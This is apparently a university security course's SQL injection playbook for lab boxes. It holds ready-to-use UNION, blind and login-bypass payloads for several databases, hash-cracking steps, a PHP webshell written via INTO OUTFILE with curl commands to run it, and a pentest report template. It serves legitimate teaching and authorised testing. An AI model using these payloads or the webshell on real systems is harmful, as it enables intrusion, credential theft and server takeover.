SQL Injection — Generalised Playbook

ISEC6005 · works on ANY SQLi box · every command explained · read-data + webshell + blind + file read · v1

How to use this reference

- Use this when a website has a **search box** or a URL **parameter** (e.g. `?id=1`, `?ticket_id=1001`, `?q=book`).
- Walk the universal pattern (Section 3) / decision tree (Section 4). Each command is broken down part-by-part.
- You can type payloads in the browser **search box** (browser encodes for you) OR with **curl** (you encode: space=%20 or use --data-urlencode).

1. Concept — what SQL injection is

Concepts you must know

- **SQL** is the language apps use to talk to a database. The app builds a query with your input inside it.
- **SQL injection (SQLi)** = the app pastes your input into the query **without sanitising it**, so you can break out of the data and add your own SQL.
- **String vs numeric context**: if your input sits inside quotes (`WHERE name='INPUT'`) you need a `'` to break out (STRING). If it's a bare number (`WHERE id=INPUT`) you append SQL directly, no quote (NUMERIC).
- **UNION** = glue your own SELECT onto the app's results so your data shows on the page. It must have the SAME number of columns.
- **Error-based vs blind**: error-based shows DB errors/data on the page; blind shows nothing, so you infer answers from true/false behaviour or time delays.
- **Backend matters**: SQLite, MySQL/MariaDB, MS SQL and PostgreSQL differ in comment syntax, system tables, and whether they can write files.

2. Spotting a candidate + confirming injection

Candidate: any input that queries a database — a search box, a login, a `?id=`/`?ticket_id=` style parameter.

Step A — baseline (what normal looks like)

```
# search a REAL value first, so you know the healthy response
<normal value> # e.g. 1001 or book
```

Step B — the quote test (confirm SQLi + learn context + DB)

```
<value>' # add ONE single quote
```

Result of adding '	What it means
A database error appears	Injectable (error-based). The error often names the DB (SQLite3 / MariaDB / ODBC / PSQL) and may leak
Page silently changes / no results	Injectable but BLIND — confirm with boolean pair below.
No change at all	Maybe not injectable here — try another parameter.

Step C — boolean pair (confirm when there is no error)

```
<value>' OR 1=1-- - # always TRUE -> should return MORE/normal results
<value>' AND 1=2-- - # always FALSE -> should return NOTHING
```

Different responses between TRUE and FALSE = injection confirmed. (Numeric context: drop the leading quote — `1 OR 1=1-- -`.)

The comment -- -

- `-- -` is dash-dash-SPACE-dash. It comments out the rest of the app's original query so your injected SQL doesn't collide with it. MySQL/MariaDB REQUIRE the space after `--`.

3. The universal 6-rung pattern (error/UNION based)

#	Rung	What you type	Proves
1	Baseline	a normal value	what healthy output looks like
2	Break it	value + '	input reaches SQL; reveals the DB type
3	Count columns	' ORDER BY 1,2,3... until error	how many columns the query returns
4	Find visible	' UNION SELECT 1,2,3-- -	which columns print on the page
5	List tables	read the DB catalogue (per-DB, Section 5)	table + column names
6	Extract / escalate	UNION SELECT cols FROM table	the flag / credentials / a foothold

Context reminder

- STRING box: every payload starts with `'` and uses `-1 UNION...`. NUMERIC box: no leading quote — `1 ORDER BY 3-- -`, `-1 UNION SELECT...-- -`.

4. Decision tree (covers every SQLi flag path)

```
search box / ?param= that hits a DB
  |
  v  add '  -> error or behaviour change?
  |
  +-- DB error shown -----> ERROR/UNION based (rungs 3-6)
  +-- silent change ------> BLIND (boolean or time-based, Section 7)
  |
  v  identify DB from the error (SQLite / MySQL / MSSQL / Postgres)
  |
  v  ORDER BY -> column count   ;   UNION SELECT 1,2,3 -> visible cols
  |
  v  list tables via that DB's catalogue -> read the target table
  |
  +-- flag sitting in a table?     -> UNION SELECT it ............. FLAG
  +-- username + password hash?    -> crack -> login (SSH/WinRM) ... INTERMEDIATE
  +-- MySQL/MariaDB + FILE priv?   -> INTO OUTFILE webshell -> RCE . INTERMEDIATE
  +-- file-read function?          -> read /etc/passwd, configs ... INTERMEDIATE
  +-- stacked queries allowed?     -> ; INSERT/UPDATE/exec ......... varies
```

5. Per-database cheat sheet (read the error, pick the row)

Backend	Error says	Comment	List tables	Write files?
SQLite	SQLite3	-- -	FROM sqlite_schema WHERE type='table'	No (no OUTFILE)
MySQL/MariaDB	mysqli / MariaDB	-- - (space!)	FROM information_schema.tables	Yes: INTO OUTFILE (needs FILE priv)
MS SQL	ODBC / SQL Server	--	FROM information_schema.tables	Limited (xp_cmdshell if enabled)
PostgreSQL	PSQL / pg	-- -	FROM information_schema.tables	Limited (COPY ... TO)

5b. WHY the catalogue columns differ + exact syntax for EVERY database

How you know which columns to SELECT

- The catalogue is **itself a table**, and each database engine defines it with its OWN fixed column names. You use whatever that engine calls them — you don't get to choose.
- **SQLite's** catalogue is `sqlite_schema` (= `sqlite_master`). Its columns are named `type, name, tbl_name, sql` → so you ask for **name** (table name) and **sql** (the CREATE TABLE text that lists the columns).
- **MySQL / MS SQL / PostgreSQL** share a standard catalogue called `information_schema`. There the columns are named **table_name** and **column_name** → that's why those databases use `table_name,column_name`.
- So: **read the error** → **identify the database** → **use that database's catalogue names** from the rows below. `name,sql` is SQLite-only; `table_name,column_name` is information_schema (everything else).

SQLite (error says 'SOLite3')

```
# list tables (names + their CREATE-TABLE text = column names):
' UNION SELECT 1,name,sql FROM sqlite_schema WHERE type='table'-- -
# (sqlite_master is the same table, older name)
# version: ' UNION SELECT 1,sqlite_version(),3-- -
# string join: col1||':'||col2 (|| concatenates)
# NO file write, NO current-user concept
```

MySQL / MariaDB (error says 'mysqli' / 'MariaDB')

```
# list tables in the current database:
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE
table_schema=database()-- -
# list columns of a chosen table:
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
-
# version: @@version or version()
# current user / db: current_user() database()
# string join: concat(col1,0x3a,col2) or group_concat(col SEPARATOR ',')
# file read: LOAD_FILE('C:/path') file write: ... INTO OUTFILE 'C:/webroot/sh.php'
```

MS SQL Server (error says 'ODBC' / 'SOL Server')

```
# list tables (information_schema OR sysobjects):
' UNION SELECT 1,table_name,3 FROM information_schema.tables--
' UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'--
# list columns:
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
# version: @@version current user: system_user current db: db_name()
# string join: col1+':'+col2 (numbers need CAST(x AS varchar))
# comment is just -- ; command exec: EXEC xp_cmdshell 'whoami' (if enabled; stacked queries
OK)
```

PostgreSOL (error says 'PSOL' / 'pg ')

```
# list tables (information_schema OR pg_tables):
' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -
' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -
# list columns:
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
-
# version: version() current user: current_user current db: current_database()
# string join: col1||':'||col2
# file read: pg_read_file('path') file write: COPY (...) TO 'path'
```

Oracle (error says 'ORA-' / 'Oracle')

```
# Oracle needs FROM dual for literal selects, and uses all_tables / all_tab_columns:
' UNION SELECT 1,table_name,3 FROM all_tables-- -
' UNION SELECT 1,column_name,3 FROM all_tab_columns WHERE table_name='USERS'-- -
# version: SELECT banner FROM v$version string join: col1||':'||col2
```

Quick lookup — catalogue column names by database

- **SQLite** → `sqlite_schema` : use `name`, `sql`
- **MySQL/MariaDB** → `information_schema.tables/.columns` : use `table_name`, `column_name`
- **MS SQL** → `information_schema` or `sysobjects/syscolumns` : `table_name/column_name` or `name`
- **PostgreSQL** → `information_schema` or `pg_tables` : `table_name/column_name` or `tablename`
- **Oracle** → `all_tables/all_tab_columns` : `table_name`, `column_name`

6. Extraction & escalation routes (all explained)

Route A — read a flag/secret straight from a table

```
' UNION SELECT 1,secret_key,secret_value FROM secrets-- - # SQLite example
# put '1' in columns you don't need; real data in the VISIBLE columns
```

Route B — steal a credential, crack it, log in (very common)

```
' UNION SELECT 1,username,hash_password FROM users-- - # get user + hash
# then on Kali:
echo '<hash>' > h.txt ; hashid h.txt
hashcat -m <mode> h.txt /usr/share/wordlists/rockyou.txt --show
# login with the cracked password via the open port (ssh / evil-winrm / rdp)
```

Hash modes: 32-hex on Windows = NTLM `-m 1000`; `$apr1$` = `-m 1600`; `$6$` = `-m 1800`; plain MD5 = `-m 0`.

Route C — MySQL/MariaDB: write a webshell (INTO OUTFILE) -> RCE

```
# 1) confirm a file write with a harmless marker (path from the error leak + a web dir)
-1 UNION SELECT 'WRITE_TEST','','','','','','','' INTO OUTFILE 'C:/webroot/assets/t.txt'--
-
# then browse /assets/t.txt -> if it shows WRITE_TEST, file write works
# 2) write the PHP webshell (hex avoids quote clashes in curl)
-1 UNION SELECT 0x<hex of '<?php system($_GET["cmd"]); ?>'>,'','','','','','','' INTO
OUTFILE 'C:/webroot/assets/sh.php'-- -
# 3) run it
curl -G "http://<IP>:<port>/assets/sh.php" --data-urlencode "cmd=whoami"
```

Why columns match 8 here: this example box had 8 columns; use YOUR column count. Only MySQL/MariaDB with the FILE privilege can do this — SQLite cannot.

Route D — read files from disk (where supported)

```
# MySQL: ' UNION SELECT 1,LOAD_FILE('C:/path/to/file'),3-- -
# MS SQL: (xp_cmdshell / OPENROWSET if enabled)
# Postgres: COPY (...) TO / pg_read_file('...')
```

7. Blind SQLi (no error, no visible data)

When the page never shows data or errors, you ASK yes/no questions and read the answer from behaviour.

Boolean-based (page differs on true vs false)

```
' AND (SELECT substr(sql,1,1) FROM sqlite_schema LIMIT 1)='C'-- -
# if the page behaves 'true', the first char is C; step through each position
```

Time-based (page delays on true)

```
# MySQL: ' AND IF(1=1, SLEEP(3), 0)-- - (delay = true)
# SQLite: ' AND 1=1 AND (SELECT ... ) (use a heavy subquery)
# MSSQL: '; IF(1=1) WAITFOR DELAY '0:0:3'-- -
```

Automation

- `sqlmap` automates all of this, BUT heavy automation caps your marks on this unit and Metasploit-style tools are limited — prefer the manual method and only reach for automation if the brief allows. Reverse shells (if you go that route) only on ports 4444/5555/6666.

8. All the ways SQLi gives a flag

Variation	What you do	Stage
Flag/secret stored in a table	UNION SELECT it	Easy/Inter
Username + password hash	extract -> crack -> login	Intermediate
Plaintext creds in a table	extract -> login directly	Intermediate
MySQL/MariaDB + FILE priv	INTO OUTFILE webshell -> RCE	Intermediate
File-read function	read configs/keys/flag off disk	Intermediate
Blind (boolean/time)	infer data bit by bit	any
Login bypass	' OR 1=1-- - in a login form	Easy/Inter
Stacked queries	; INSERT a user / ; exec a command	varies

9. WINDOWS BOX EXAMPLES (what the two routes look like)

MELOS — SOLite. STRING context. read-and-crack route

```
# search box, backend = SQLite
' # SQLite3 error -> injectable
' ORDER BY 3-- - (3 ok, 4 errors) # 3 columns
' UNION SELECT 1,2,3-- - # all 3 visible
' UNION SELECT 1,name,sql FROM sqlite_schema WHERE type='table'-- - # tables
' UNION SELECT 1,secret_key,secret_value FROM secrets-- - # EASY flag
' UNION SELECT 1,username,hash_password FROM users-- - # creds (NTLM)
# crack -> ssh <user>@<IP> -> read intermediate flag
```

VESTA — MariaDB. NUMERIC context. INTO OUTFILE webshell route

```
# ticket_id parameter, backend = MariaDB (numeric -> no leading quote)
1001' # MariaDB error -> injectable + leaks C:\VestaPortal\www\
1001 ORDER BY 8-- - (8 ok, 9 err) # 8 columns
-1 UNION SELECT 1,2,3,4,5,6,7,8-- -# visible
-1 UNION SELECT 'WRITE_TEST','','','','','','','' INTO OUTFILE
'C:/VestaPortal/www/assets/t.txt'-- -
-1 UNION SELECT '<?php system($_GET["cmd"]); ?>','','','','','','','' INTO OUTFILE
'C:/VestaPortal/www/assets/sh.php'-- -
# http://<IP>:9999/assets/sh.php?cmd=whoami -> vesta\mira (RCE) -> read flag
```

Why they differ

- Same vulnerability (SQLi), different backend. **SQLite** can't write files, so you STEAL a login (read+crack). **MariaDB** with FILE privilege can WRITE a file, so you PLANT a webshell. The error message tells you which world you're in.

Adapting to a SQLi box you have NOT seen

- Read the error to get the **DB type**, then use that row of the per-DB cheat sheet (Section 5) for its comment + catalogue + file-write support.
- No error at all? It's **blind** — switch to boolean/time questions (Section 7).
- Can't UNION (columns won't line up / types clash)? Use `NULL`s instead of numbers: `' UNION SELECT NULL,NULL,NULL-- -`, then swap one NULL at a time for your data.
- MySQL/MariaDB and you can write files? Go for the **webshell**. SQLite or no FILE priv? **Read creds and crack** instead.
- Login form? Try `' OR 1=1-- -` in the username to bypass auth.

10. WRITE YOUR REPORT — SQL Injection

If SQL injection comes up, you can write the whole report from here. Fill the <...> blanks with your box's real values and keep the structure.

Step 1 — pick the vulnerability that matches what you found

Vulnerability (use this name)	When it applies	Severity
SQL Injection (in-band / UNION-based)	Data comes straight back on the page via UNION.	High–Critical
SQL Injection (error-based)	The DB error itself leaks data/structure.	High
Blind SQL Injection (boolean/time)	No data or error shown; answers inferred true/false.	High
SQLi → Remote Code Execution	FILE privilege + INTO OUTFILE writes a webshell.	Critical
Authentication Bypass via SQLi	' OR 1=1-- - logs you in without a password.	High

Step 2 — Executive Summary (non-technical, for management)

Model — adapt the <...>

- During the authorised penetration test of <system name>, a SQL injection vulnerability was identified in the <search box / ticket_id parameter / login form> of the web application on port <PORT>. The application places user-supplied input directly into a database query without sanitisation, allowing an unauthenticated attacker to alter the query and <read confidential data from the database / bypass authentication / write a file to the server and execute operating-system commands>. This was confirmed by <extracting <data> / reading back a planted file / obtaining command execution as <user>>. SQL injection is one of the most serious and well-understood web vulnerabilities; here it exposes confidential data and <, where file-write was possible, leads to full server compromise>. The root cause is the use of dynamically-built queries instead of parameterised statements. The overall risk is rated <High/Critical> and remediation should be treated as urgent.

Step 3 — Detailed Finding (the core of the report)

Finding: SQL Injection in <parameter/field> — **Severity:** High–Critical (CVSS ~9.8 if RCE, ~8.6 if data read)

Description (cause + trust assumption): The <parameter> is concatenated directly into a SQL query executed by the <SQLite / MariaDB / MSSQL / ...> backend. Supplying a single quote produced a database error, confirming the input breaks out of the query. **Cause:** the application builds SQL by string concatenation instead of using parameterised queries / prepared statements. **Trust assumption violated:** the application trusted client-supplied input as safe data, but that input reached the database engine as code (and, where FILE privilege exists, reached the filesystem).

Evidence (commands run — attach screenshots of each):

```
' # DB error -> injectable, and identifies the backend
' ORDER BY N-- - # find column count (last N that works)
' UNION SELECT 1,2,3-- - # find which columns are visible
' UNION SELECT 1,name,sql FROM sqlite_schema-- - # (SQLite) enumerate tables
-- or information_schema.tables/.columns on MySQL/MSSQL/Postgres
' UNION SELECT 1,<cols> FROM <table>-- - # extract data / flag / creds
# RCE route (MySQL/MariaDB + FILE priv):
-1 UNION SELECT '<?php system($_GET["cmd"]);?>',... INTO OUTFILE 'C:/<webroot>/sh.php'-- -
http://<IP>:<PORT>/.../sh.php?cmd=whoami # -> command execution
```

Impact (blast radius + business): Blast radius: the attacker can read or modify any data the database account can reach — user tables, password hashes, application secrets; with FILE privilege they can write files and obtain operating-system command execution, leading to full application and potentially host compromise, and recovered credentials enable lateral movement. **Business impact:** data breach, credential and secret theft and possible server takeover, with regulatory/compliance exposure and reputational damage.

Recommendation (mitigation): use parameterised queries / prepared statements everywhere user input meets SQL (the primary fix); add input validation and allow-listing as defence-in-depth; run the application's database account with least privilege and **without** the FILE privilege; return generic error messages so the backend and structure are not leaked; consider a WAF as an additional layer, not a substitute.

Verification after fix: repeat the quote test and the UNION payloads — they should no longer alter the query or return data (input is treated as a literal value); confirm the database error no longer leaks structure and that no file can be written via INTO OUTFILE.

Step 4 — Attack Path Summary (one line per step)

```
1. ' in <param> -> DB error: injectable + identifies backend
2. ' ORDER BY N-- - -> column count
3. ' UNION SELECT 1..N-- - -> visible columns
4. UNION from catalogue (sqlite_schema / information_schema) -> table & column names
5a. UNION SELECT data/flag/hashes -> easy flag / credentials (READ route)
5b. INTO OUTFILE webshell -> ?cmd= -> RCE (WRITE route, MySQL/MariaDB + FILE)
6. crack hashes -> ssh/winrm/rdp -> intermediate flag
```

Step 5 — Remediation Plan (prioritised)

• **Immediate:** parameterise the vulnerable query (prepared statements); remove the FILE privilege from the app's DB account.

• **Short term:** parameterise all remaining queries; add input validation; switch to generic error messages; rotate any credentials/secrets that were exposed.

• **Long term:** enforce least-privilege DB accounts, add a WAF as defence-in-depth, and add SQLi test cases to the development pipeline.

Step 6 — Conclusion

Model — adapt the <...>

• The application was vulnerable to SQL injection because user input was placed directly into a database query. This allowed <confidential data to be read from the database / authentication to be bypassed / a webshell to be written and commands executed as <user>>. The vulnerability is both high-impact and well-understood, and is fully remediated by using parameterised queries and running the database account with least privilege. All testing was performed within the agreed scope; data was read to demonstrate impact but was not altered or destroyed.